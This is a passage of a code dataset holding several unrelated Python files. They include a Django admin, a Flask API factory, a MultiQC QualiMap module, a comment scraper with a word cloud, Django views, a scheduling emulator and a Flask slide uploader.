autocomplete_fields = []\n # save_as = True\n # save_as_continue = True\n # save_on_top =True\n\n fieldsets = [\n ('Basic Information',{'fields': ['sn','result']}),\n ('Transaction Information',{'fields': ['operation','interval',\n \t\t'resource_name',('start_time','stop_time'),'remark']}),\n ('System Information',{'fields':[('user','created_date')]})\n # 'perform_year','perform_month','perform_day','perform_hour'\n ]\n # resource_class = ProductResource\n\n def save_model(self, request, obj, form, change):\n obj.user = request.user\n super(PerformingAdmin, self).save_model(request, obj, form, change)\n\nadmin.site.register(Performing,PerformingAdmin)", "sub_path": "wmp/performing/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 1202, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.contrib.admin.ModelAdmin", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 7, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 31, "usage_type": "call"}, {"api_name": "performing.models.Performing", "line_number": 31, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 31, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 31, "usage_type": "name"}]} {"seq_id": "295207389", "text": "from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_restplus import Api\nfrom sqlalchemy import exc\n\ndb = SQLAlchemy()\napi = Api(\n title=\"OrcTracker API\",\n version=\"1.0\",\n description='OrcTracker Project REST API'\n '<style>.models {display: none !important}</style>'\n)\n\n\ndef create_app(env_type: str = \"dev\"):\n app = Flask(__name__, instance_relative_config=False)\n if env_type == \"dev\":\n app.config.from_object(\"application.config.DevelopmentConfig\")\n elif env_type == \"test\":\n app.config.from_object(\"application.config.TestingConfig\")\n else:\n app.config.from_object(\"application.config.Config\")\n\n db.init_app(app)\n api.init_app(app)\n\n with app.app_context():\n from .views import comment_api, issue_api, tag_api, type_api, user_api\n api.add_namespace(comment_api, path=\"/comments\")\n api.add_namespace(issue_api, path=\"/issues\")\n api.add_namespace(tag_api, path=\"/tags\")\n api.add_namespace(type_api, path=\"/types\")\n api.add_namespace(user_api, path=\"/users\")\n\n @app.after_request\n def add_headers(response):\n response.headers['Access-Control-Allow-Origin'] = '*'\n response.headers['Access-Control-Allow-Headers'] = \\\n \"Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With\"\n response.headers['Access-Control-Allow-Methods'] = \"POST, GET, PATCH, DELETE\"\n return response\n\n @api.errorhandler(exc.AmbiguousForeignKeysError)\n def handle_ambiguous_foreign_keys(error):\n return {'error': 'ERR_AMBIGUOUS_FOREIGN_KEYS',\n 'message': 'Some of the Database IDs that were provided match no entries in the database.'}, 400\n\n return app\n\n\n__all__ = [\"db\", \"api\", \"create_app\"]\n", "sub_path": "application/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 1840, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 6, "usage_type": "call"}, {"api_name": "flask_restplus.Api", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 16, "usage_type": "call"}, {"api_name": "views.comment_api", "line_number": 29, "usage_type": "argument"}, {"api_name": "views.issue_api", "line_number": 30, "usage_type": "argument"}, {"api_name": "views.tag_api", "line_number": 31, "usage_type": "argument"}, {"api_name": "views.type_api", "line_number": 32, "usage_type": "argument"}, {"api_name": "views.user_api", "line_number": 33, "usage_type": "argument"}, {"api_name": "sqlalchemy.exc.AmbiguousForeignKeysError", "line_number": 43, "usage_type": "attribute"}, {"api_name": "sqlalchemy.exc", "line_number": 43, "usage_type": "name"}]} {"seq_id": "344592686", "text": "#!/usr/bin/env python\n\n\"\"\" MultiQC module to parse output from QualiMap \"\"\"\n\nfrom __future__ import print_function\nfrom collections import OrderedDict\nimport io\nimport logging\nimport os\n\nfrom collections import defaultdict\n\nfrom multiqc import config, BaseMultiqcModule\n\n# Initialise the logger\nlog = logging.getLogger(__name__)\n\nclass MultiqcModule(BaseMultiqcModule):\n\n def __init__(self):\n\n # Initialise the parent object\n super(MultiqcModule, self).__init__(name='QualiMap', anchor='qualimap',\n href=\"http://qualimap.bioinfo.cipf.es/\", \n info=\"is a platform-independent application to facilitate the quality\"\\\n \" control of alignment sequencing data and its derivatives like\"\\\n \" feature counts.\")\n\n self.parsed_stats = defaultdict(dict)\n\n # Find QualiMap reports\n qualimap_raw_data = {}\n for directory in config.analysis_dir:\n for root, dirnames, filenames in os.walk(directory, followlinks=True):\n raw_data_dir = 'raw_data'\n for d in dirnames:\n if raw_data_dir in d:\n raw_data_dir = d\n if 'genome_results.txt' in filenames and raw_data_dir in dirnames:\n with io.open(os.path.join(root, 'genome_results.txt'), 'r') as gr:\n for l in gr:\n if 'bam file' in l:\n s_name = self.clean_s_name(os.path.basename(l.split(' = ')[-1]), root)\n \n s_name = self.clean_s_name(s_name, root)\n if s_name in qualimap_raw_data:\n log.debug(\"Duplicate sample name found! Overwriting: {}\".format(s_name))\n \n qualimap_raw_data[s_name] = {}\n qualimap_raw_data[s_name]['reports'] = {os.path.splitext(r)[0]: os.path.join(root, raw_data_dir, r) \\\n for r in os.listdir(os.path.join(root, raw_data_dir))}\n\n if len(qualimap_raw_data) == 0:\n log.debug(\"Could not find any reports in {}\".format(config.analysis_dir))\n raise UserWarning\n\n log.info(\"Found {} reports\".format(len(qualimap_raw_data)))\n\n self.sections = list()\n\n # Section 1 - Coverage Histogram\n histogram_data = self.qualimap_cov_his(qualimap_raw_data)\n if len(histogram_data) > 0:\n \n # Chew back on histogram to prevent long flat tail\n # (find a sensible max x - lose 1% of longest tail)\n max_x = 0\n for d in histogram_data.values():\n total = sum(d.values())\n cumulative = 0\n for count in sorted(d.keys(), reverse=True):\n cumulative += d[count]\n if cumulative / total > 0.01:\n max_x = max(max_x, count)\n break \n \n self.sections.append({\n 'name': 'Coverage Histogram',\n 'anchor': 'qualimap-coverage-histogram',\n 'content': self.plot_xy_data(histogram_data, {\n 'title': 'Coverage Histogram',\n 'ylab': 'Genome Bin Counts',\n 'xlab': 'Coverage (X)',\n 'ymin': 0,\n 'xmin': 0,\n 'xmax': max_x,\n 'xDecimals': False,\n 'tt_label': '<b>{point.x}X</b>: {point.y}',\n })\n })\n\n # Section 2 - Insert size histogram\n histogram_data = self.qualimap_ins_size_his(qualimap_raw_data)\n if len(histogram_data) > 0:\n self.sections.append({\n 'name': 'Insert size Histogram',\n 'anchor': 'qualimap-insert-size-histogram',\n 'content': self.plot_xy_data(histogram_data, {\n 'title': 'Insert Size Histogram',\n 'ylab': 'Fraction of reads',\n 'xlab': 'Insert Size (bp)',\n 'ymin': 0,\n 'xmin': 0,\n 'tt_label': '<b>{point.x} bp</b>: {point.y}',\n })\n })\n\n # Section 3 - Genome Fraction coverage\n histogram_data = self.qualimap_gen_frac_his(qualimap_raw_data)\n if len(histogram_data) > 0:\n self.sections.append({\n 'name': 'Genome Fraction Coverage',\n 'anchor': 'qualimap-genome-fraction-coverage',\n 'content': self.plot_xy_data(histogram_data, {\n 'title': 'Genome Fraction Coverage',\n 'ylab': 'Fraction of reference (%)',\n 'xlab': 'Coverage (X)',\n 'ymax': 100,\n 'ymin': 0,\n 'xmin': 0,\n 'tt_label': '<b>{point.x}X</b>: {point.y:.2f}%',\n })\n })\n\n # Section 4 - GC-content distribution\n histogram_data = self.qualimap_gc_distribution(qualimap_raw_data)\n if len(histogram_data) > 0:\n self.sections.append({\n 'name': 'GC-content distribution',\n 'anchor': 'qualimap-gc-distribution',\n 'content': self.plot_xy_data(histogram_data, {\n 'title': 'GC-content distribution',\n 'ylab': 'Fraction of reads',\n 'xlab': 'GC content (%)',\n 'ymin': 0,\n 'xmin': 0,\n 'xmax': 100,\n 'tt_label': '<b>{point.x}%</b>: {point.y:.3f}',\n })\n })\n\n # General stats table\n self.qualimap_stats_table()\n\n\n def qualimap_gc_distribution(self, qualimap_raw_data):\n parsed_data = {}\n for sn, data in qualimap_raw_data.items():\n gc_report = data['reports']['mapped_reads_gc-content_distribution']\n if gc_report:\n counts={}\n avg_gc = 0\n with io.open(gc_report, 'r') as fh:\n next(fh)\n for l in fh:\n sections = l.split(None, 2)\n gc = int(round(float(sections[0])))\n cont = float(sections[1])\n avg_gc += gc*cont\n counts[gc] = cont\n\n parsed_data[sn] = counts\n\n #Add reads avg. GC to the general stats table\n self.parsed_stats[sn]['avg_gc'] = avg_gc\n\n return parsed_data\n\n def qualimap_cov_his(self, qualimap_raw_data):\n parsed_data = {}\n for sn, data in qualimap_raw_data.items():\n cov_report = data['reports'].get('coverage_histogram')\n if cov_report:\n counts={}\n with io.open(cov_report, 'r') as fh:\n next(fh)\n for l in fh:\n coverage, count = l.split(None, 1)\n coverage = int(round(float(coverage)))\n count = float(count)\n counts[coverage] = count\n\n parsed_data[sn] = counts\n\n # Find median\n num_counts = sum(counts.values())\n cum_counts = 0\n median_coverage = None\n for thiscov, thiscount in counts.items():\n cum_counts += thiscount\n if cum_counts >= num_counts/2:\n median_coverage = thiscov\n break\n\n # Add median to the general stats table\n self.parsed_stats[sn]['median_coverage'] = median_coverage\n\n return parsed_data\n\n\n def qualimap_ins_size_his(self, qualimap_raw_data):\n parsed_data = {}\n for sn, data in qualimap_raw_data.items():\n ins_size = data['reports'].get('insert_size_histogram')\n if ins_size:\n counts = {}\n zero_insertsize = 0\n with io.open(ins_size, 'r') as fh:\n next(fh)\n for l in fh:\n insertsize, count = l.split(None, 1)\n insertsize = int(round(float(insertsize)))\n count = float(count) / 1000000\n if(insertsize == 0):\n zero_insertsize = count\n else:\n counts[insertsize] = count\n\n parsed_data[sn] = counts\n\n # Find median\n num_counts = sum(counts.values())\n cum_counts = 0\n median_insert_size = None\n for thisins, thiscount in counts.items():\n cum_counts += thiscount\n if cum_counts >= num_counts/2:\n median_insert_size = thisins\n break\n\n # Add the median insert size to the general stats table\n self.parsed_stats[sn]['median_insert_size'] = median_insert_size\n\n return parsed_data\n\n\n def qualimap_gen_frac_his(self, qualimap_raw_data):\n parsed_data = {}\n for sn, data in qualimap_raw_data.items():\n frac_cov = data['reports'].get('genome_fraction_coverage')\n if frac_cov:\n thirty_x_pc = 100\n max_obs_x = 0\n halfway_cov = None\n counts={}\n with io.open(frac_cov, 'r') as fh:\n next(fh)\n for l in fh:\n coverage, percentage = l.split(None, 1)\n coverage = int(round(float(coverage)))\n percentage = float(percentage)\n counts[coverage] = percentage\n\n if coverage <= 30 and thirty_x_pc > percentage:\n thirty_x_pc = percentage\n\n parsed_data[sn] = counts\n\n # Add the median % genome >= 30X coverage to the general stats table\n self.parsed_stats[sn]['thirty_x_pc'] = thirty_x_pc\n\n return parsed_data\n\n\n def qualimap_stats_table(self):\n \"\"\" Take the parsed stats from the QualiMap report and add them to the\n basic stats table at the top of the report \"\"\"\n \n headers = OrderedDict()\n headers['median_coverage'] = {\n 'title': 'Coverage',\n 'description': 'Median coverage',\n 'min': 0,\n 'scale': 'RdBu'\n }\n headers['median_insert_size'] = {\n 'title': 'Insert Size',\n 'description': 'Median Insert Size',\n 'min': 0,\n 'scale': 'PuOr',\n 'format': '{:.0f}'\n }\n headers['thirty_x_pc'] = {\n 'title': '≥ 30X',\n 'description': 'Fraction of genome with at least 30X coverage',\n 'max': 100,\n 'min': 0,\n 'scale': 'RdYlGn',\n 'format': '{:.1f}%'\n }\n headers['avg_gc'] = {\n 'title': 'Avg. GC',\n 'description': 'Average GC content',\n 'max': 80,\n 'min': 20,\n 'scale': 'BrBG',\n 'format': '{:.0f}%'\n }\n self.general_stats_addcols(self.parsed_stats, headers)\n", "sub_path": "multiqc/modules/qualimap/qualimap.py", "file_name": "qualimap.py", "file_ext": "py", "file_size_in_byte": 11367, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "multiqc.BaseMultiqcModule", "line_number": 18, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 29, "usage_type": "call"}, {"api_name": "multiqc.config.analysis_dir", "line_number": 33, "usage_type": "attribute"}, {"api_name": "multiqc.config", "line_number": 33, "usage_type": "name"}, {"api_name": "os.walk", "line_number": 34, "usage_type": "call"}, {"api_name": "io.open", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "multiqc.config.analysis_dir", "line_number": 54, "usage_type": "attribute"}, {"api_name": "multiqc.config", "line_number": 54, "usage_type": "name"}, {"api_name": "io.open", "line_number": 153, "usage_type": "call"}, {"api_name": "io.open", "line_number": 175, "usage_type": "call"}, {"api_name": "io.open", "line_number": 208, "usage_type": "call"}, {"api_name": "io.open", "line_number": 246, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 269, "usage_type": "call"}]} {"seq_id": "27788359", "text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n#导入包\nimport json\nimport requests\nimport jieba\nimport matplotlib.pyplot as plt\nfrom wordcloud import WordCloud\nimport codecs\n\n#请求头\nheaders = {\n 'Host': \"www.shihuo.cn\",\n 'Origin': \"http://www.shihuo.cn\",\n 'Pragma': \"no-cache\",\n 'Referer': \"http://www.shihuo.cn/sports/detail/13.html\",\n 'User-Agent': \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36\",\n 'X-Requested-With': \"XMLHttpRequest\",\n 'Content-Type': \"application/x-www-form-urlencoded; charset=UTF-8\"\n}\n\ndef get_comment():\n #请求链接\n url = 'http://www.shihuo.cn/sports/getGoodsComments'\n\n #爬10页\n for i in range(1,11):\n body = 'id=13&page={page}&page_size=10&tag_id=&sort=all'\n data = body.format(page=i)\n response = requests.post(url, headers=headers, data=data)\n print(response.text)\n decoded_data = codecs.decode(response.text.encode(), 'utf-8-sig')\n json_obj = json.loads(decoded_data) #转为json数据解析\n for data in json_obj['data']['comment']:\n\n #获取评论\n if 'intro' in data:\n comment = data['intro']\n elif 'description' in data:\n comment = data['description']\n elif 'content' in data:\n comment = data['content']\n else:\n continue\n\n comment = comment.replace('\\n','').replace('\\r','').replace('\\t','').strip() #去掉评论内容的空行\n print(comment)\n with open('评论.txt','a') as f: #数据写入文本\n f.write(comment+'\\n')\n\ndef get_ciyun():\n text = open(\"评论.txt\", \"rb\").read()\n # 结巴分词\n wordlist = jieba.cut(text, cut_all=True)\n wl = \" \".join(wordlist)\n\n #去掉停用词\n mySplit = wl.split(' ')\n end_list = []\n noUse_list = ['没有','而且','特别','哈哈','可以','哈哈哈','感觉','比较','还是','所以','不会'] #这些词没有意义，删除掉\n for each in mySplit:\n if each not in noUse_list:\n end_list.append(each)\n wl = \" \".join(end_list)\n\n # 设置词云\n wc = WordCloud(background_color=\"white\", # 设置背景颜色\n max_words=2000, # 设置最大显示的字数\n # stopwords = \"\", #设置停用词\n # font_path=\"C:\\Windows\\Fonts\\SimHei.ttf\",\n font_path=\"/System/Library/Fonts/PingFang.ttc\",\n max_font_size=50, # 设置字体最大值\n random_state=30,\n )\n myword = wc.generate(wl) # 生成词云\n\n # 展示词云图\n plt.imshow(myword)\n plt.axis(\"off\")\n plt.show()\n\n\n#程序开始运行\n#获取评论\nget_comment()\n#生成词云\nget_ciyun()", "sub_path": "201909/shihuo/shihuo.py", "file_name": "shihuo.py", "file_ext": "py", "file_size_in_byte": 2846, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.post", "line_number": 31, "usage_type": "call"}, {"api_name": "codecs.decode", "line_number": 33, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 34, "usage_type": "call"}, {"api_name": "jieba.cut", "line_number": 55, "usage_type": "call"}, {"api_name": "wordcloud.WordCloud", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}]} {"seq_id": "373531663", "text": "from django.shortcuts import render, HttpResponseRedirect, HttpResponse\nfrom .models import Book, Publisher, Author\nfrom django.core.mail import send_mail\nfrom .forms import ContactForm\n\n# Show all data in container request.META\ndef display_meta(request):\n values = request.META.items()\n html = []\n for k, v in values:\n html.append('<tr><td>%s</td><td>%s</td></tr>' % (k, v))\n return HttpResponse('<table>%s</table>' % '\\n'.join(html))\n\n\n# Finding searched data in our Books database\ndef search(request):\n error = []\n if 'q' in request.GET:\n q = request.GET['q']\n if not q:\n error.append(\"Введите поисковый запрос\")\n elif len(q) > 20:\n error.append(\"Введите не более 20 символов\")\n else:\n books = Book.objects.filter(title__icontains=q)\n return render(request, 'search_result.html', {'books': books, 'query': q})\n return render(request, 'search_form.html', {'error': error})\n\n\n# Sending comment and contact information\ndef contact(request):\n if request.method == 'POST':\n form = ContactForm(request.POST)\n if form.is_valid():\n cd = form.cleaned_data\n send_mail(\n cd['subject'],\n cd['message'],\n cd.get('email', 'noreply@example.com'),\n ['siteowner@example.com']\n )\n return HttpResponseRedirect('/contact/thanks/')\n else:\n form = ContactForm()\n return render(request, 'contact_form.html', {'form': form})\n", "sub_path": "books/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1582, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.shortcuts.HttpResponse", "line_number": 12, "usage_type": "call"}, {"api_name": "models.Book.objects.filter", "line_number": 25, "usage_type": "call"}, {"api_name": "models.Book.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "models.Book", "line_number": 25, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 26, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 27, "usage_type": "call"}, {"api_name": "forms.ContactForm", "line_number": 33, "usage_type": "call"}, {"api_name": "django.core.mail.send_mail", "line_number": 36, "usage_type": "call"}, {"api_name": "django.shortcuts.HttpResponseRedirect", "line_number": 42, "usage_type": "call"}, {"api_name": "forms.ContactForm", "line_number": 44, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 45, "usage_type": "call"}]} {"seq_id": "302026532", "text": "# -*- coding: utf-8 -*-\r\n#import serial\r\nimport datetime\r\nimport json\r\nimport time\r\nimport os\r\nmessage = [0, 0, 0, 0]\r\nlooper = 0\r\n\r\n# Change event bitmask into list\r\n# \"01010\" will change into [2,4]\r\n\r\n\r\ndef event_to_list(event):\r\n events = event[6:]\r\n event_list = []\r\n for idx, item in enumerate(events):\r\n if item == \"1\":\r\n event_list.append(idx+1)\r\n return event_list\r\n\r\n\r\ndef setup():\r\n global s\r\n global data, json_index\r\n global time_shift\r\n global alarm_dict\r\n global immediately_start_time\r\n\r\n # Handling timezone not in UTC+8\r\n # Define timezone here (UTC+8 for Taiwan)\r\n timezone = 8\r\n time_shift = (timezone*60*60)-(-time.timezone)\r\n\r\n # Try opening in serial port\r\n # Other wise output message to STDOUT\r\n \r\n #s = serial.Serial(\"/dev/ttyS0\", 57600)\r\n #s.write(\"0000\")\r\n \r\n\r\n # Read file from .json\r\n with open(\"/root/Schedule.json\") as json_file:\r\n data = json.loads(json_file.read())\r\n \r\n # Turn events bitmask into dictionary structure\r\n # alarm_dict = { str event_start_time : [ int index, str event_end_time, list [ int event_number ], int position ] }\r\n # An event at 18:30 with event bitmask:10010210101 will turn into\r\n # {\"17:30\":[0,\"18:30\",[1,3,5],2]}\r\n # which index may change depend on real index\r\n json_index = list(data.keys())\r\n alarm_dict = {}\r\n for item in json_index:\r\n # Get event from json Ex : \"10001210101\"\r\n event = event_to_list(str(data[item][\"events\"]))\r\n # Calculate event start time\r\n # Ex: An event end at 18:30 will be break down into\r\n # hh=\"17\"\r\n # mm=\"30\"\r\n hh = str((datetime.datetime.strptime(\r\n str(data[item][\"hour\"]), \"%H\")-datetime.timedelta(hours=1)).hour)\r\n mm = str(data[item][\"minute\"])\r\n # Get position of which MXA7219 should light up\r\n # Ex: An event end at 18:30 will have position 2\r\n # Since minute 30 should be set at THIRD MXA7219(position 2)\r\n position = str(data[item][\"events\"])[1:5].index(\"1\")\r\n alarm_dict[hh+\":\"+mm] = [item,\r\n str(data[item][\"hour\"])+\":\"+str(data[item][\"minute\"]), event, position]\r\n\r\n \r\n flag = [\"0\", \"0\", \"0\", \"0\"]\r\n # Determin if there are any event should wake up immediately\r\n # By setting flag with start time\r\n # For example, if now time is 18:30 and a 19:15 event should wake up immediately\r\n # Than flag will become [\"0\",\"19:15\",\"0\",\"0\"]\r\n # If therer are multi event should wake up immediately\r\n # Than flag will be set up multi time.\r\n # Be aware of the item index been set up to event_start_time is the same as the position in alarm_dict\r\n # Position means which MXA7219 should be set up for.\r\n # In the above example, minutes 15 means second MXA7219 should be set up\r\n # which is the same as the position of event_start_time in flag.\r\n for times in alarm_dict:\r\n # Get Now time\r\n now = datetime.datetime.now()+datetime.timedelta(seconds=time_shift)\r\n ymd = str(now.year)+\"-\"+str(now.month)+\"-\"+str(now.day)\r\n # Get an event_start_time\r\n begin_time = datetime.datetime.strptime(\r\n ymd+\" \"+times+\":\"+'0', \"%Y-%m-%d %H:%M:%S\")\r\n # Get an event_end_time\r\n end_time = datetime.datetime.strptime(\r\n ymd+\" \"+alarm_dict[times][1]+\":\"+'0', \"%Y-%m-%d %H:%M:%S\")\r\n # Determint if there are any event_start_time between Now time and event_end_time\r\n # Than set flag to event_start_time\r\n if (begin_time-now).total_seconds() <= 0 and (end_time-now).total_seconds() >= 0:\r\n immediately_start_time = times\r\n flag[alarm_dict[times][3]] = immediately_start_time\r\n print(alarm_dict)\r\n print(flag)\r\n\r\n return flag\r\n\r\n\r\ndef loop(flag):\r\n global message\r\n global looper\r\n # Get Now time in hh:mm format\r\n now = datetime.datetime.now()+datetime.timedelta(seconds=time_shift)\r\n current_hour, current_minute = str(now.hour), str(now.minute)\r\n current_time = current_hour+\":\"+current_minute\r\n # Travel through all event\r\n # If current time match event in alarm_dict\r\n # Add it to flag\r\n for start_time in alarm_dict:\r\n if current_time == start_time: # start of event\r\n flag[alarm_dict[start_time][3]] = current_time\r\n\r\n # Travel through flag and determint which event should be handle.\r\n for idx, start_time in enumerate(flag):\r\n # flag[idx]== \"0\" means there are current not event on that time.\r\n if start_time == \"0\":\r\n message[idx] = 0\r\n # Handle enent which is alive\r\n elif start_time != \"0\":\r\n # Handle NULL event\r\n if len(alarm_dict[start_time][2]) == 0:\r\n message[idx] = 0\r\n # Save an event to message\r\n else:\r\n message[idx] = alarm_dict[start_time][2][looper %\r\n len(alarm_dict[start_time][2])]\r\n # If current_time is event_end_time, set flag[idx]=\"0\" to clear event in flag\r\n if current_time == alarm_dict[start_time][1]:\r\n flag[idx] = \"0\"\r\n #Do a looper++, looper will help chosen an event in event list\r\n looper += 1\r\n looper %= 60\r\n \r\n # Bring up message and turn into a string\r\n s_message = str(message[0])+str(message[1])+str(message[2])+str(message[3])\r\n \r\n # Write message to serial port.\r\n #s.write((s_message))\r\n print(s_message)\r\n\r\n\r\n time.sleep(2)\r\n\r\n\r\nif __name__ == '__main__':\r\n os.system(\"ntpd -q -p ptbtime1.ptb.de\")\r\n flag = setup()\r\n cou=0\r\n while True:\r\n loop(flag)\r\n if cou==0:\r\n os.system(\"ntpd -q -p ptbtime1.ptb.de\")\r\n cou+=1\r\n cou%=120\r\n", "sub_path": "main_emu.py", "file_name": "main_emu.py", "file_ext": "py", "file_size_in_byte": 5794, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "time.timezone", "line_number": 33, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 60, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 84, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 84, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 84, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 87, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 87, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 90, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 90, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 107, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 107, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 107, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 146, "usage_type": "call"}, {"api_name": "os.system", "line_number": 150, "usage_type": "call"}, {"api_name": "os.system", "line_number": 156, "usage_type": "call"}]} {"seq_id": "369753073", "text": "\"\"\"\nRoutes and views for the flask application.\n\"\"\"\n\nfrom __future__ import unicode_literals, print_function\nfrom datetime import datetime\nfrom flask import render_template\nfrom SlideManager import app\nfrom flask import request\nimport os, io\n\nUPLOAD_FOLDER = \"SlideManager/static/uploads/\"\n\n@app.route('/')\n@app.route('/home')\ndef home():\n \"\"\"Renders the home page.\"\"\"\n return render_template(\n 'index.html',\n title='Home Page',\n year=datetime.now().year,\n )\n\n\"\"\"\n@app.route('/contact')\ndef contact():\n return render_template(\n 'contact.html',\n title='Contact',\n year=datetime.now().year,\n message='Your contact page.'\n )\n\"\"\"\n@app.route('/about')\ndef about():\n return render_template(\n 'about.html',\n title='About',\n year=datetime.now().year,\n message='Your application description page.'\n )\n\n@app.route('/new_presentation/',methods=[\"GET\", \"POST\"])\ndef new_presentation():\n print(\"Add a presentation\")\n foldername = request.data.decode(\"UTF-8\")\n try:\n os.mkdir(UPLOAD_FOLDER + foldername)\n return \"Success\"\n except:\n return \"Failed\"\n@app.route('/<string:presentation_name>/add_photo/', methods=[\"GET\", \"POST\"])\ndef add_photo(presentation_name):\n print(\"Add a photo to\", presentation_name)\n if presentation_name in os.listdir(UPLOAD_FOLDER):\n file = request.files['file']\n if file.filename.split(\"_\")[0] == presentation_name:\n file.save(os.path.join(UPLOAD_FOLDER, presentation_name, file.filename))\n return \"Success\"\n return \"Failed\", 500\n\n@app.route('/<string:presentation_name>/', methods=[\"GET\", \"POST\"])\ndef show_slide(presentation_name):\n if presentation_name in os.listdir(UPLOAD_FOLDER):\n return io.open(os.path.join(UPLOAD_FOLDER, presentation_name, 'index.html'), encoding=\"utf-8\").read()\n return \"Failed\", 500\n\n@app.route('/<string:presentation_name>/main_html/', methods=[\"GET\", \"POST\"])\ndef modify_html(presentation_name):\n print(\"Modifying HTML of\", presentation_name)\n if presentation_name in os.listdir(UPLOAD_FOLDER):\n file = request.files['file']\n if \".\".join(file.filename.split(\".\")[:-1]) == presentation_name:\n file.save(os.path.join(UPLOAD_FOLDER, presentation_name, 'index.html'))\n return presentation_name\n return \"Failed\", 500\n", "sub_path": "SlideManager/SlideManager/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2386, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.render_template", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "name"}, {"api_name": "SlideManager.app.route", "line_number": 14, "usage_type": "call"}, {"api_name": "SlideManager.app", "line_number": 14, "usage_type": "name"}, {"api_name": "SlideManager.app.route", "line_number": 15, "usage_type": "call"}, {"api_name": "SlideManager.app", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "name"}, {"api_name": "SlideManager.app.route", "line_number": 34, "usage_type": "call"}, {"api_name": "SlideManager.app", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.request.data.decode", "line_number": 46, "usage_type": "call"}, {"api_name": "flask.request.data", "line_number": 46, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 46, "usage_type": "name"}, {"api_name": "os.mkdir", "line_number": 48, "usage_type": "call"}, {"api_name": "SlideManager.app.route", "line_number": 43, "usage_type": "call"}, {"api_name": "SlideManager.app", "line_number": 43, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 55, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 56, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 56, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": 